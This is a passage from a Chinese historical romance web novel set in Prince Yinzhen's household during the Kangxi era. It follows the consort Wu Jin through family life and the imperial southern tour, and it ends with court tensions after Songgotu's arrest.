“吃饱了就不用硬塞,别撑着肚子。”
乌锦说她能吃下,称赞小娘做的菜好吃。
一家人其乐融融地吃完一顿饭,饭后,乌锦给额娘他们塞了二十两银子,一直到傍晚,她们才回贝勒府。
夜里。
“今天心情这么好。”
“谢谢爷让我回娘家。”
胤禛搂着她,心想她回娘家这么高兴的话,他可以让她时不时回去,反正她娘家就在京城,回去半天并不碍事,他吻住她嘴唇,又想来一次,随后是一番缠绵翻红浪。
……
大年初五,因十四阿哥前来贝勒府,乌锦被叫过去前院那边用膳,后院的女子都过去了,福晋也在。
乌锦是第一次见到十四阿哥,她还以为四阿哥跟十四阿哥关系不好呢,可看他们两人有说有笑的,不像是关系不好的样子。
十四阿哥年纪还小,脸庞比较稚嫩,硬拉着四阿哥喝酒,四阿哥让他别喝多,他还说他酒量好。
“四嫂,来,我也敬你一杯。”
福晋执起酒杯,跟十四阿哥对碰一杯。
十四阿哥一饮而尽,目光又扫向她们,叫她们就不能叫四嫂了,十四阿哥显然也认识其他人,一个个敬过去,叫李夫人、宋夫人、耿夫人等等,轮到她也是叫夫人,她先前没见过十四阿哥,但十四阿哥显然知道她是谁,叫她乌夫人。
乌锦都不知道他这一圈敬下来得喝多少杯,看上去不像是要敬酒,而是纯粹找个理由喝酒。
“我谢谢四哥四嫂招待我,我以后会常来。”
胤禛见胤禵还要再喝,上次因胤禵喝醉,他也在场,被德妃娘娘骂了一顿,这回又让胤禵喝醉的话,他少不得又要挨骂,于是他夺过胤禵手中的酒杯,让人把剩下的酒撤下去。
“四哥,我今儿高兴,为什么不给我喝。”
“喝可以,喝多就不可以了,你还要回宫,别不清醒地回宫,真喝多了就成我这个哥哥的失职。”
“不会喝多的,我知道我的酒量如何。”
胤禛难得态度强硬,就是不让胤禵继续喝。
胤禵也只好听他四哥的。
“十四弟,你多吃肉,这是膳房的人做的酱牛肉,你不是喜欢吃酱牛肉嘛。”福晋给胤禵夹肉。
“谢谢四嫂。”
胤禵到后面还是吃了一些饭菜,过后才被送回宫。
乌锦也回到桃园。
小才子把一罐腌渍的酸梅送过来,说是膳房的岳大厨特意给她腌渍的。
膳房的人知道她得宠后,时不时给她进献些小吃食。
“跟他说谢谢他,君梅,拿二两银子赏给他吧。”
乌锦取了一碟子出来,腌渍的酸梅属于又酸又甜,很是开胃,她还蛮喜欢吃的,当个零食吃还不错。
年很快就过了,四阿哥白天不在府里的日子多了起来。
乌锦因为有孩子,每天要照看孩子,日子过得还不算太清闲,她跟后院那些女人是不咸不淡地处着,没有太大的矛盾。
这阿哥们过来四贝勒府最多的人是十四阿哥,时不时过来,有时候四阿哥不在,他才失望而归。
乌锦偶尔也在府里碰到十四阿哥几次,不过男女有别,他们也没说几句话,就是请安行礼,十四阿哥会问曦宁几句。
二月初,传出皇上准备三月底南巡。
乌锦想着不是说户部没银子了,国库存银也不多嘛,怎么还南巡,她记得皇上上一年还去巡幸京畿一个多月来着,南巡少说也要两三个月吧,每次皇上南巡都是劳民伤财的事。
然而皇上决定的事情,没人敢反对。
四阿哥回来也跟她说了这事。
她看想四阿哥,问道:“那这次爷随行吗?”
“还不知道,若是皇阿玛要我随行,你此次跟我一起。”
“那孩子怎么办?”
孩子这么小,肯定不能跟着去。
“孩子不是有奶娘跟奴才他们照顾,他们不敢轻待格格,你放心吧。”
乌锦只好点头,其实跟着出行也挺好的,游山玩水,就是要把曦宁留在府里,几个月大的孩子肯定不会跟着他们舟车劳顿。
胤禛看乌锦不是特别高兴的样子,他捏了捏她的脸,笑道:“上一次让你跟着我一起出行,你拒绝了,这次不能再拒绝,必须得去。”
“我是不放心曦宁,你自己女儿,你不心疼啊,才几个月大,额娘就不在身边。”
胤禛觉得这没什么,反正她又不需要亲自喂奶,只是去几个月而已,有奴才们照顾,奴才们不敢轻待小主子,小主子有什么闪失,他们逃不了责任,除非是不想要命了,他小时候基本上是由奶娘跟奴才照顾到大的。
“孩子不会有事的,你到底是看重孩子还是看重我,孩子重要还是我重要。”
“孩子重要。”
“嗯?”
乌锦轻笑,搂住他脖子,亲他一口。
胤禛加深这个吻。
“四哥,四哥……”外头有人在喊,“四哥,你在里面吗?”
乌锦挑眉,这十四阿哥怎么还直接闯桃园,要不是门关着,他可能还直接闯进来,这是把四贝勒府当自己家了?
“这十四弟。”胤禛语气也有些无奈,他给乌锦整理好衣服,让胤禵进来。
十四阿哥一进来就说道:“四哥,你让我好找,去四嫂那发现你不在,四嫂说你可能在乌夫人这,我就过来了。”
“有什么事?”
“我今日去狩猎了,我猎到一头鹿,想让四哥看看,我把那头鹿带过来了,还没死呢。”十四阿哥炫耀自豪的神态自然流露出来,“那个乌夫人,你要出来看看吧。”
胤禛不好呵斥胤禵为了这点事就急着找他,胤禵就是这样的性子,急急燥燥的,一点小事也能让他高兴大半天,什么事都想跟人分享,最近更是什么事都过来找他。
“你都带过来了,那就看看吧。”
“在前院那边呢,四哥随我过来吧,我们可以分了一人一半,我跟延信一起去的。”
胤禵口中的延信是已逝肃亲王豪格的孙子,温良郡王爱新觉罗猛峨的儿子,两年前,延信就被封为二等侍卫,算是他们的堂哥,胤禛不知这两人怎么凑在一块,延信比胤禵还大十几岁来着。
他们几人一起去前院,胤禵猎到那只鹿此时被关在笼子里,身上的箭还没被拔出来,身上的血已经干涸。
胤禛已经见怪不怪,再偏头看乌锦,乌锦身为内宅女子,没怎么狩猎过,看上去有些于心不忍,他便说道:“既然是十四弟猎到的,十四弟留着给自己吧,我这里不需要。”
“那个四哥,你也知道我是住在宫里,我总不能把这头鹿带回宫里吧,放了又怪可惜的,我好不容易才猎到的,而且我今天是从上书房那边逃出来的。”胤禵略显心虚地笑着。
胤禛还说呢,好端端要把一头鹿带过来他这边,他说道:“那你怎么不让延信带回去。”
胤禵顿时挺了挺胸膛:“那可不行,这是我猎到的,怎么能让给他带回去,这是我的战利品,四哥,你就让你膳房的大厨杀了,是腌制起来还是弄个烟熏腊肉,反正这鹿肉,我要吃到,我吃一半,四哥吃一半。”
“那你要在哪里吃?”
胤禵呵呵傻笑
,讨好道:“我来四哥这吃,我出宫找四哥,我在四哥这用膳,你就让那些师傅大厨给我做鹿肉吃,在我没吃完这鹿肉前,别的肉我都不吃,四哥,你就可怜可怜我吧,你也知道我住在宫里做什么都不大方便。”
胤禛也只能答应他,让他把这只鹿留下来。
“我就知道四哥待我最好,四哥,你真是我亲哥,那我就把它留在这了,那个乌夫人,你可以吃,这鹿肉应该很好吃,见者有份,我不是小气的人。”
乌锦只是点点头。
胤禵把鹿留下后又带着人离开。
胤禛让苏培盛把鹿交给膳房的人。
“胤禵就是小孩性子,天天不上学,净折腾这些,皇阿玛也不怎么管他。”胤禛跟乌锦解释一句,“你也不必害怕,这些都是牲畜而已,吃它们不必觉得愧疚。”
乌锦倒没有愧疚,哪愧疚得过来,平日不是也在吃其他肉嘛,就是这野生鹿的味道很不好闻,这肉估计也不好吃,她那不是害怕,是嫌弃。
“我们回去继续做我们没做完的事。”
乌锦瞪他一眼。
又十几天,四阿哥确定在这次随行的阿哥中,此次皇上带太子、四阿哥、八阿哥、九阿哥、十三阿哥跟十四阿哥随行。
南巡去的日子久,少说也要三个月,福晋也开始张罗起来,福晋不去,她放心不下弘晖,李氏也不去,她有两个孩子要照顾,最后决定小主随行的人是宋氏、耿氏跟她。
福晋把她们三个人叫去云水堂,叮嘱她们该注意什么,还有该带什么,她替四阿哥备好四阿哥的东西,她们自个要带的东西自个要提前备好。
乌锦毕竟是第一次随行,又是一去三个月,她最担心的就是吃的问题,只要吃好,其它的问题不大。
她想了想让小才子去叫膳房的岳大厨过来,她本以为这岳大厨是个有年纪的大厨,没想到他年纪不大,二十来岁,反正看着不到三十岁。
“给格格请安,格格万福。”
岳智阳此时已经很激动,但面上不敢表现出来,这府里人人都知道乌格格得宠,主子爷来乌格格这的次数最多,如今又有小格格了,主子爷又私底下吩咐他们,万万不可少乌格格的吃食,乌格格想吃什么都要给乌格格做。
乌格格这绝对是热炕,要是讨好了乌格格,往后他在贝勒府的日子也会好过一些,等于有了靠山,只是主子不召见,他也不敢前来主子这,只能默默给主子进献一些吃食。
“我要跟着四阿哥出行,随圣驾南巡,我想备些耐放又好吃的吃食在路上吃,岳师傅,你觉得要备些什么好?”
乌锦觉得上一次岳大厨给她的腌渍酸梅就很不错,才想着找来他一问。
“回格格,奴才觉得有好多可以备着,油炸的,腌渍的,盐腌的,大多都可以储存放置许久。”
“那岳师傅可否为我备一些?”
岳智阳知道他表现的机会来了,这次要是把格格吩咐的差事办好,他就可以靠上格格这座靠山了,他心中狂喜,立即磕头道:“奴才定当尽力为格格多备一些,还请格格放心。”
“君梅,拿二十两银子给岳师傅,这毕竟是我单独要求的,若是食材不够,岳师傅可以用这些银两另买,不仅仅是零嘴,一些肉食也要多备一些。”
“奴才明白了,奴才回去后列个清单给格格过目,要是还缺什么,格格再跟奴才说。”
“我们三月底出发,要快些。”
岳智阳连连点头应是,他出去后拿着这沉甸甸的二十两,心想乌格格还是大方心善的。
只过两天,乌锦就拿到岳师傅写的清单,满意地让小才子告诉岳师傅,让他就照着清单上面来做。
岳智阳连着十几天又是炸又是腌,弄来好几个坛子,忙活了许久,还出府帮格格买些现成的。
三月初,岳智阳就把弄好的吃食呈给乌格格,八个大坛子,有油炸的肉,肉用油封着,有腌制的肉跟菜,木盒子装的是一些腌渍的果子蜜饯之类的,还有一些新鲜的瓜子干果之类的。
乌锦看着这么多东西,心想这些恐怕得用一辆马车才能全部装上,再加上她一些零零碎碎的随身用品,她一个人就要占去两辆马车。
不管怎么样,她先收下岳师傅送来的吃食。
当天傍晚,四阿哥过来时,她房间内就摆着这些装着肉的坛子。
“这都是什么?”
乌锦上前挽住四阿哥的手臂,笑道:“你不是让我跟你一起出行嘛,我怕路上吃得不好,提前让人帮我们备些吃食,这些都是肉,能放很久,我们可以在路上吃。”
胤禛真是有点哭笑不得,虽说南巡路上吃的随简,可能不会餐餐都吃到热食,但也不是没得吃,在路上还是有新鲜的食物吃的,乌锦未免太过夸张了一些,这些吃上半年都没有问题。
“会不会太多了一点?你是饿到吗?放心吧,不会饿到你的。”
乌锦假装听不懂,既然都准备好了,那就带过去,她笑道:“哪里多,就几个坛子而已,爷不是说了还有几个阿哥一起,你看十四阿哥嘴那么馋,万一他看到爷吃的东西,也想要怎么办,我们也不好吃独食,总得分一些给他们,这一分肯定就少掉一半,爷,你不是不知道,我要是吃得不好,我心情也不会好,况且我是第一次随行,什么都想带,我估计要用三辆马车才能装下我带去的东西。”
“三辆?”
乌锦点头如捣蒜,略显心虚道:“会不会太多?太多的话,我少带一些衣服。”
胤禛心想她一个人就要三辆马车,加起来他们要十几辆马车,要是太子的车马少,别人会以为他要压过太子,不过见她这么兴致勃勃地准备,他不好拒绝,怕扫她的兴。
他心想十四一个人,还没有格格侍妾这些,实在不行的话,他就匀几辆马车到十四那边。
“三辆就三辆,你高兴就好。”
乌锦踮脚亲他,笑得合不拢嘴,“谢谢主子爷,我到时候将这些给包好,我不是给我一个人带的,我把主子爷那份就算上了,我是为主子爷着想。”
胤禛露出无奈的笑容,她这是怕在路上吃得不好,他心想她明明是小官之女,偏偏吃不了什么苦,娇气得很,说是为他着想,可能他只占一成。
“爷,你不相信?”
“我相信,我知道你是为我好,好桃子,你可真是我的好桃子。”胤禛低头亲她,箍着她的腰,不让她后退。
乌锦听着这么肉麻的话,耳根子泛红,这未免太腻了,被他叫桃子总觉得哪里怪怪的,有种情.欲的味道。
“还没用膳呢,别闹,先吃饭,我饿了。”
胤禛才放开她。
第74章第74章更新
第74章
乌锦出行前细细交代戚妈妈跟乔妈妈两位奶娘要照顾好小格格,小格格有什么事可以找福晋或是前院的高公公,又叮嘱小才子跟翠香在桃园里尽量关起门过自己的日子,别生事端,招惹其它主子,她也给他们留了一些银两以备不时之需。
虽说是随圣驾南巡,但浩浩汤汤一群人是分为三队出发,太子跟八阿哥等人走在最前头,圣驾在中间,而他们跟九阿哥、十四阿哥的车马在最后。
听说他们自己十几个大箱子用了十辆马车,其中有两辆装着提前备好的吃食,有两辆马车匀到十四阿哥那里。
天一亮,一行人就出发了。
乌锦这次只带了君梅跟听春两个丫鬟,刚启程时走的是御道,道路相对平整,马车内厢既可以坐,又可以将木板放下来平躺,刚开始时并不觉得难受。
过了一个多时辰,中途停下来歇息,乌锦也跟着下马,拿出备好的吃食,跟君梅两人吃了一点。
“格格,这牛肉脯好吃。”
“这岳大厨手艺不错。”
见四阿哥从前面走过来,乌锦也往他嘴里塞了一片牛肉脯。
“还不错。”
“你嘴刁,分明就很好吃。”
胤禛知道她让人备了很多吃食,这牛肉脯只是其中之一,在路上吃着的确还不错。
“四哥,你们偷偷背着我在吃什么?”
十四阿哥突然冒出来,孩子气的他眯着眼睛看他们,仿佛他们背着他做了什么事。
乌锦把牛肉脯也递给十四阿哥一片,不止有牛肉脯,她准备了一个多宝格,每一格有不一样的食物,她打开让十四阿哥任挑。
“哇塞,这牛肉脯不错,甜甜的,乌夫人,你准备的东西比那些奴才准备要好吃多了。”
乌锦说牛肉脯在做
的时候表面刷了蜂蜜,多宝格里面还有一些甜的果干,还有辣腌的鱿鱼丝跟咸香的小虾干。
“乌夫人,这些都好好吃,你能分我一些吗?”
乌锦不至于舍不得这点吃的,很大方分了一大半给十四阿哥,让他用食盒装走。
“谢谢乌夫人,我拿回去慢慢吃。”
“我这里还有,十四阿哥不够吃的话还可以过来拿。”
十四阿哥眼睛一亮,“真的?那我吃完再跟乌夫人要,行,我回我马车上吃了,不打扰四哥跟乌夫人说话。”
乌锦笑了笑,等十四阿哥一走,她才小声问四阿哥,是不是十四阿哥从来没吃过这些东西。
“吃得少,德妃娘娘对他的吃食很注意,怕他乱吃吃坏肚子。”
乌锦听明白了,这就跟大人不让小孩子吃垃圾食品一样,这些都不是新鲜的吃食,又是腌制又是油炸的,娘娘估计也是怕十四阿哥肠胃不好。
“那要是他真的吃坏肚子,会不会怪到我头上?”
四阿哥让她放心,这次德妃娘娘没有随行,想要追责恐怕也鞭长莫及。
乌锦这才放心地笑了笑,她也没忘让君梅送一些给随行的宋格格跟耿格格。
他们歇了不到半个时辰就又要出发了。
一路走走停停,乌锦适应得还好,没有太多不适,走到第三天,他们到河西务,当地的官员前来接驾。
乌锦随着四阿哥到一处被特意收拾出来的二进宅院入住,因为人多,九阿哥以及九阿哥随行的女眷也跟他们一起住这座宅子。
乌锦已经两日没有正经沐浴了,第一件事便是想沐浴,人多,又只有一处灶台烧水,九阿哥那边也要用热水,她就让君梅直接给她提两桶冷水就行,她直接用冷水沐浴擦身。
“格格,苏公公方才过来说格格可以去主子爷那用膳。”
“知道了,你们也看看膳房那边可不可以弄几道热菜热饭吃。”
君梅笑道:“格格不用担心我们,等主子们吃完,我们再弄。”
乌锦将头发盘起来,头发还没有完全干透,她就过去找四阿哥,只是膳房还没有摆上来。
“先让胤禟他们用灶台。”
做哥哥的,在这种小事上得谦让弟弟,胤禛让胤禟的人先在膳房那边忙活。
“你用冷水沐浴了?”
乌锦点头。
胤禛皱眉:“胡闹,这么冷的天,你还用冷水沐浴,就不怕感冒生病。”
乌锦觉得这两日风尘都黏在脸上,她是受不了身上黏黏的,总觉得哪里不干净,宁愿洗冷水也不愿再等上一个时辰才能用上热水,洗完后她觉得清爽多了。
“主子爷放心,我身子好得很,我没有洗很久,不会着凉的。”
胤禛见她头发明显还是湿的,让人拿来毛巾给她擦拭绞干,还骂了两个伺候的丫鬟两句。
“好啦,我的人我自己会亲自管教。”
胤禛见她护着两个丫鬟,不好继续骂,只让苏公公去催膳,心里有一股气,他是为她好,偏偏人还不领情。
房间内气氛不佳,十四阿哥这个时候进来。
“乌夫人,你怎么在这?”
胤禛见到胤禵就这样闯进来,也不提前敲个门,他不由地训斥他一句:“十四,你进来前应该敲门,而不是直接进来,你这样很无礼。”
被训的胤禵吐了吐舌头,小声嘀咕说门不是没关嘛,门都没关,他要怎么敲门,面对冷脸的四哥,他没敢反驳。
“十四阿哥,你怎么过来了?”
还是乌夫人替他解围,胤禵感激地看向乌夫人,回道:“我就是想来你们这蹭饭,我觉得四哥带的厨子做饭好吃,宫里的厨子做饭不好吃,我能跟你们一起吃吗?”
“当然可以,只是膳房那边还要忙活一阵,恐怕没那么快好。”
胤禵立即说道:“没关系,我可以等,反正都要等,我就在这等,对了,让厨子做一道辣菜,我想吃辣的。”
乌锦知道十四阿哥带出来的厨子也是德妃娘娘安排的,他要是吃了什么,等回宫后,德妃娘娘估计也会过问,那厨子应该只会做一些清淡的食物,十四阿哥想吃点重口的就跑过来四阿哥这边,让他们跟过来的厨子做。
“君梅,你过去膳房那边,让他们多做几道菜,往里头放点辣椒。”
胤禵对着乌夫人作揖感谢。
等膳食被端上来后已是半个时辰后,三人围坐在一块,终于坐下来吃一顿有汤有水,冒着热气的热饭。
乌锦也能吃辣,所以这一顿吃得过瘾,倒是四阿哥不怎么喜欢吃辣,挑的是不辣的菜吃。
“乌夫人,还是你跟我在吃上合得来,我喜欢吃的,乌夫人也喜欢吃,乌夫人给我的鱿鱼丝也很好吃,我都快吃完了,乌夫人还有吗?”
“应该还有一些。”
“那乌夫人再分我一点。”
乌锦说等会她让苏公公送过去给他。
胤禵感激地点头。
一顿饭吃完后,胤禵识相地离开。
这鱿鱼丝放在另一辆马车上,她让听春跟苏公公一起去拿,然后送去给十四阿哥,十四阿哥住的宅院就在他们隔壁,离得不远。
“四阿哥,要不要也送一些给九阿哥?”
这两天,乌锦跟九阿哥他们没怎么说话,是十四阿哥常常跑过来跟她说话,她这东西送得才顺利一些,她毕竟只是小妾,并非嫡福晋,出面送东西这事不好由她出面,不然别人会以为她这是要以女主人自居,她要送也只能是通过四阿哥送。
“你想送就送吧。”
乌锦看他,瞪他一眼:“这怎么能是我想送就送,我哪里好出面,主子爷别忘了我只是格格,不是福晋,要是送给十四阿哥,不送给九阿哥,九阿哥他们心有芥蒂,觉得你偏心,厚此薄彼,对你产生不满怎么办?”
胤禛笑了笑,原来她还是为他着想的,怕别人对他产生不满,刚才那点郁闷也一扫而空,他笑道:“你想得周全,还是送些给他们吧,我让苏培盛拿过去给他们,你今晚就留下来吧。”
“也别拿太多,都不够吃了。”
胤禛乐得直笑,要送人的也是她,不舍得送太多的也是她,他捏了捏她的脸,说道:“送一些表示心意就行,剩下的都留给你吃。”
送过去没多久后,胤禟就过来道谢,兄弟两说了几句话。
入夜,胤禛才可以好好地折腾乌锦,做了两次才歇下。
翌日一早,胤禛起来,穿了一身柳色常服,没等乌锦睡醒,他先简单吃点东西就出门了。
今日要跟着皇阿玛他们体验当地风土人情,他先到皇阿玛下榻的宅子前,他总不能让皇阿玛等他,慢慢的,太子等人也到了。
大家互相询问昨晚睡得如何,寒暄两句,等皇阿玛准备好后,他们才上了马车。
当地的官员们作陪,有道员、知县、通判等,胤禛一眼就看出去的地方都是特意修整过的,呈现出来的就是百姓安居乐业,一切欣欣向荣,没有肮脏污秽,那些官员不仅仅对着皇阿玛阿谀奉承,对着太子也不例外,甚至他觉得那些官员讨好太子时,那脸上的笑容更是放大。
就这样去了两个地方,花了两个时辰,胤禛就回来了,乌锦坐在他的床上看书,那样子像是刚起来一样,肯定是睡到日上三竿才起来。
“饿不饿?”
乌锦摇头,说她刚吃过,吃了一碗馄饨,坐了三天马车,再耐得住折腾的人也会有些难受,昨晚又闹得太厉害,她只觉得浑身酸痛,所以哪也不想去,什么都不想做,就想坐在床上看书。
“爷,你饿的话自己吃吧,不用管我。”
胤禛忙活白天,的确饿了,他也让人给他做一碗馄饨,奴才送来时肯定不止是一碗馄饨,还配有一些小菜。
他吃饱后便让人撤下去,他脱去外衣,钻进被窝里躺在床上,神情若有所思。
今日那些官员对太子谄媚太过,连他都看出来了,皇阿玛如今都四十八岁了,而太子才二十七岁,皇阿玛进入老年,太子来到盛年,
那些地方官想讨好未来的新君,太子也当了二十六年的太子,积威甚久,这大清无论是百姓还是大臣都知道太子是储君,太子有时候代替皇阿玛处理朝政,日渐得心应手,威望远扬。
只是越过皇阿玛去讨好太子,似乎有些不妥。
胤禛思来想去,又让自己别往下细想,这不是他该操心的事,他不是太子,他只是贝勒,将来也能当个亲王,君与储君的矛盾不是他能去干预的,这是皇阿玛跟太子的事。
这么一想后,他偏头看看乌锦,她脖子上还有他昨晚留下来的吻痕。
“乌锦,若是皇阿玛跟太子之间有纷争,你说我该站谁?”
乌锦一听这话就瞬间扭头看他,“爷这话是什么意思?”
“就是问问你,你说我该站谁?”
乌锦哪敢跟他胡说什么,她从来不觉得自己比四阿哥聪明,四阿哥毕竟是在皇家长大的人,她只能算是提前知道一些结果,只是这个结果究竟是怎么样的前因造成,她不敢胡说,免得影响四阿哥自己的判断。
“爷,你别忘了我只是一内宅女子,我不懂前朝那些事,你就别问我了,你比我聪明,你问一个比你笨的人只会得到一个错误的答案。”
“谁说你笨了,我觉得你很聪明。”
胤禛也是慢慢接触下来才觉得乌锦其实很聪明,只是她是女子,她哪怕有抱负也实现不了。
“只是一些小聪明,前朝的事,我帮不上忙,爷你自己想吧,你肯定能想通的,我不懂这些。”
胤禛觉得他只是问乌锦他该站谁,乌锦就一副怕说错话的样子,一下子就想到前朝,说明她心里是清楚的。
“你大胆说,我不会怪你。”
“我说什么?太子跟皇上对我而言都是远不可及的人,我哪知道他们发生了什么纷争,爷,你自己想吧,别打扰我看书。”
胤禛笑了笑,她还是一个嘴严的人,算了,静观其变吧。
在河西务待了两天,他们又启程。
过了十几天,他们开始乘舟,此次皇阿玛南巡主要目的还是为了查看黄河下游各处堤防,查看上一年这些地方的受灾情况。
上一年黄河决堤,皇阿玛虽只发放了五万两赈银,但这些年,为建造加固堤防,还有隔三差五的赈灾,朝堂已经花去数百万两银子。
他们到高家堰时,皇阿玛见当地受灾严重,直接免去今年的地丁钱粮等赋税。
之后又途径几地,有官员上禀说当地一些官员多年来侵吞赈银,使得民不聊生,还将一些贪污受贿的官员举报给皇阿玛。
皇阿玛直接命太子彻查此事,太子原本随驾,为了查那些贪污受贿的官员,只能滞留当地。
他们随着皇阿玛再一路南行。
胤禛总觉得哪里不对,但又说不上来,心中有疑惑不解。
……
乌锦有时候还是可以跟着四阿哥出门的,只要四阿哥不用跟着皇上当差,四阿哥偶尔也会写信回京城,问她要不要传信回去,她便说不用了,两个奶娘又不识字,该交代的她也提前交代好了。
她知道四阿哥这是给福晋传信。
到了五月二日,南巡已经过去两个月,他们来到扬州,四阿哥说带她到扬州城逛一逛,只是十四阿哥一听说,也要跟着他们。
于是他们后面跟着一个拖油瓶。
乌锦经过这两个月也算是十四阿哥混熟了,虽说有一个拖油瓶,但也不觉得太碍事。
他们一行人雇了两条船,在扬州西湖泛舟。
五月的天气很好,不冷不热,湖水轻风吹拂,坐在船上很是惬意,乌锦忍不住坐在船边用手拨弄湖水。
“小心,别掉下去。”四阿哥提醒道。
乌锦没听他的,只觉得这湖水真清澈,都能见到底下的鱼游来游去,她身子埋得更低,想要用手捞鱼,只是手刚碰到鱼,鱼窜的一下子游走。
“要是有网就好了,说不定我能捞到几条鱼。”
“乌夫人,有网你也不一定捞得着,这鱼游得多快啊,要是都能捞到的话,别人早就捞完了,哪还会等着你。”说完十四阿哥还大笑,像是在笑她愚蠢才会说捞鱼这句话。
乌锦看一眼十四阿哥,直接用手捞水泼向他。
“乌夫人,你……”
乌锦继续泼他。
十四阿哥也泼回来。
两个人互相舀水泼来泼去,乌锦才不会顾及他阿哥的身份,直接往他身上泼。
十四阿哥惊叫连连。
胤禛在一旁看着,谁的忙也不帮,只看着他们两个人玩,见十四弟被乌锦泼得没有还击之力,他嘴角上扬,直到十四弟突然落水。
乌锦见到十四阿哥身子倾着倾着就落水了,她也下意识伸手想去抓他,但没抓住,人还是掉下去了。
“快抓着我的手。”
胤禵不会游水,掉下去的一瞬间是有些慌乱的,见到乌夫人很快伸手,他也顾不上男女授受不亲,赶忙抓住乌夫人的人,随后四哥也抓他,两人合力将他捞上来。
“好了,都不许再闹了,好好坐着!”
四哥严肃地说了一句,胤禵看向乌夫人,她也被他泼得头发凌乱,旗装也湿了,他意识到自己在握着乌夫人的手,他赶忙松开,莫名有些害羞,不敢再跟乌夫人对视。
他突然明白为何四哥会喜欢乌夫人,明明她长得不好看,可是乌夫人就是很好相处,性子随和,看乌夫人看得久了,也不会觉得她丑,反而会被她那双好看的眼睛吸引住,再看会觉得她长得好看。
他年纪还小,还没成亲,也没有什么通房,像十三哥已经有通房了,他还没有,额娘觉得他还小,他自认自己还不懂男女之事,他没有见到四哥跟乌夫人有太多亲密的举动,但他又觉得自己能感觉到两个人之间的那种亲密,好像一个眼神,两人就能懂对方的意思,四哥有时候看着乌夫人浅笑,那笑容中仿佛有无限柔情。
他自小在宫里,至少从皇阿玛跟额娘身上,他没看到这种亲密,甚至皇阿玛跟宫里的其它娘娘都没有,皇阿玛跟额娘之间是疏离的,额娘对皇阿玛总是又敬又畏,不像乌夫人在四哥面前这般自在。
因为他们衣服都湿了,泛舟没泛多久,他们还是折返回去了。
胤禵跟四哥他们分开,他回到他住的房间后,突然呆呆地看着自己刚才被握住的手,他掉下去时的恐慌在乌夫人握住他的手时突然都消失了。
“主子,热水备好了,主子先去泡个热水澡吧,不能着凉呀。”
胤禵看了一眼邵公公,什么也没说,先去沐浴。
之后几天,胤禵就没有那么频繁过去找四哥跟乌夫人。
六月底,他们一行人启程回京。
而太子等人晚半个月才回到京城。
……
七月十日,皇上突然将索额图下狱,拘于宗人府,朝堂震惊,索额图所犯何罪,皇上还没有明说,要说索额图为官多年,完全没有一点错处那是不可能的,但所有人都知道索额图是太子的人,而太子也很依赖索额图以及赫舍里一族。
皇上南巡归来将索额图下狱,这代表着什么,大家想猜但猜不透,只能四处打听,谁都想知道索额图为何被下狱。
胤禛回到府里,没回前院,径直来到桃园,在屋内的铺炕上坐下。
乌锦在府里也听说索额图下狱的事,见到四阿哥脸色沉沉地坐在那,她只是看他一眼,给他倒一杯茶水,然后继续给曦宁喂水,一小勺一小勺地喂她。
“额……额……”
这孩子这几日好像很想开口说话,但还发不出来太多音,只是小手不停地挥动。
“乖宝,你想说什么呀?”
“额……”
乌锦抱着孩子,十分温柔地看着她,用手帕给她擦擦流出来的口水。
“额娘,来,叫额娘,额——-娘,叫额娘好不好?”
胤禛也偏头看过去,笑道:“她还不到一岁,哪里会说话。”
“爷,你是不知道,她这几日特别想说话,我觉得再过不久,她就能开口叫我额娘了,你看她小手挥得多有劲,我发现她又重了不少,爷,要不要抱抱看。”
胤禛接过乌锦递过来的孩子,这孩子是八月三十日出生,快到一周岁了,应该快能说话了,他看着孩子,觉得这孩子长得很像乌锦,尤其是那双圆溜溜的眼睛。
“到时候给孩子办个周岁宴。”
“那二阿哥办不办周岁宴?”
李格格的小阿哥比曦宁小两个月,曦宁要是办周岁宴的话,二阿哥不办说不过去,现在府里人人都知道她得宠,四阿哥来她这的次数比去福晋那还多,乌锦想低调都不行,要
是只给曦宁办,她怕李格格那边会不满,她不想因为一个周岁宴得罪人。
第75章第75章更新
第75章
“那就一起办。”
乌锦忍不住白他一眼,一起办,都不是同一天出生的怎么一起办,她没好气道:“爷,你可真是想一出是一出,那你说办在哪日?”
“就在八月三十日那日。”
乌锦直接将铺炕上一靠枕丢向他,人家李格格的儿子弘昀小阿哥又不是八月三十日出生的,提前两个月办周岁宴,李格格怎么想,还以为她故意撺掇的,别人家的孩子也是怀胎十月生出来的,宝贵得很,凭什么一个周岁宴都要强行凑合合办。
“行啦,不用你出主意,你那是馊主意,分开办,曦宁的周岁宴就办得简单一些,不用宴客,简单吃顿饭,抓个周就好,至于小阿哥那边要怎么办,那就交给李格格自己操心。”
“随你。”
胤禛抱着孩子举高,曦宁咯吱咯吱地笑,他每一次举高,她都笑得很大声,口水都流出来,逗孩子玩的时候,他暂时不想索额图的事。
乌锦见孩子口水流了不少,阿玛不给她擦,还一个劲地逗孩子笑,她只好起身给孩子擦口水,但没有制止四阿哥逗孩子玩,他是孩子的父亲,总得尽到一些责任,好在他目前为止当父亲还算比较称职。
中午用膳时,膳房的人做了五道菜,其中一道是莲藕炖猪脚汤,如今夏季初,莲藕正是盛产的时候,猪脚汤炖得汤头奶白。
乌锦连喝了两碗汤。
胤禛看乌锦吃了不少,反观自己还是记挂着索额图的事,没什么食欲,不过他看着乌锦能吃能喝的,心情也好了不少。
午膳过后,胤禛拉着乌锦做了一次,事后,他才心满意足地回去前院。
索额图被拘进宗人府的事,他在书房里想了想,皇阿玛南巡时让太子留下来查赈银贪腐案,太子查了两个月,给皇阿玛献上一些名单,只是皇阿玛好像没有不急着将名单上那些人撤职或是贬官。
是不是皇阿玛发现了不对劲的地方,江南一带是富庶之地,皇阿玛不可能不在那边安插耳目,据他所知,江宁织造曹寅便是皇阿玛的人,江南那边有什么动静,曹寅估计也会传来密折让皇阿玛知晓。
太子是不是有什么把柄被皇阿玛抓到了?
胤禛在书房里静想了半个时辰,随后把把贺进豪叫进来,让他这几日盯着太子那边的动静。
事实上,太子那边的确有动静,首先是太子过去索额图府邸,明知索额图已经被关进宗人府,太子也没有避嫌,而索额图的长子格尔芬也进宫为索额图求情。
索额图罪名还没定下来,皇阿玛究竟想对索额图做什么,他们一群人还没法猜测。
太子只是过去索额图府邸,但没有明着替索额图求情,朝堂上有不少大臣是索额图的亲信,那些人出面替索额图求情。
胤禛觉得这个时候越求情,皇阿玛可能对索额图越加重刑罚,看似是皇阿玛将索额图下狱,但其实是皇阿玛对太子不满。
皇阿玛开始担心自己的皇位了,此次南巡恐怕让皇阿玛意识到太子积威太甚,隐隐有超过他之势。
胤禛也找来自己的几个幕僚分析,这十几日很少踏足后院。
